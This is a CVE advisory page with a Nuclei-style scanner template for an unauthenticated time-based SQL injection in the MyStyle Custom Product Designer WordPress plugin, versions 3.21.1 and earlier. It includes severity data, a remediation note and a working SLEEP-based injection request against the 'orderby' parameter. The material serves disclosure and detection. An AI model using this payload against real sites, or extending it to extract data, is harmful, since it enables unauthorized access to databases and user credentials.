CVE-2025-48281: MyStyle Custom Product Designer <= 3.21.1 - SQL Injection

2026-03-10 MyStyle Custom Product Designer PoC Public

Description

The MyStyle Custom Product Designer plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.21.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

PoC

id: CVE-2025-48281

info:
  name: MyStyle Custom Product Designer <= 3.21.1 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The MyStyle Custom Product Designer plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.21.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    An unauthenticated attacker can extract sensitive information from the database including user credentials, password hashes, and other confidential data via time-based blind SQL injection.
  remediation: Update to version 3.21.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48281
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.3
    cve-id: CVE-2025-48281
    epss-score: 0.01416
    epss-percentile: 0.71422
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,wordpress,wp,wp-plugin,sqli,mystyle-custom-product-designer,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /designs/?orderby=(SELECT+42+FROM+(SELECT(SLEEP(7)))test) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - contains(body, 'mystyle-custom-product-designer') || contains(body, 'mystyle-design-profile')
        condition: and
# digest: 4b0a00483046022100a5bb387598abfa19ee00342e941ce07fd4b2a4496bb555225d48bb8698f7dda70221008150c7b132b5b4eb691a1dd7640de4233aedc73402103b9542568e4e2ce6b132:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities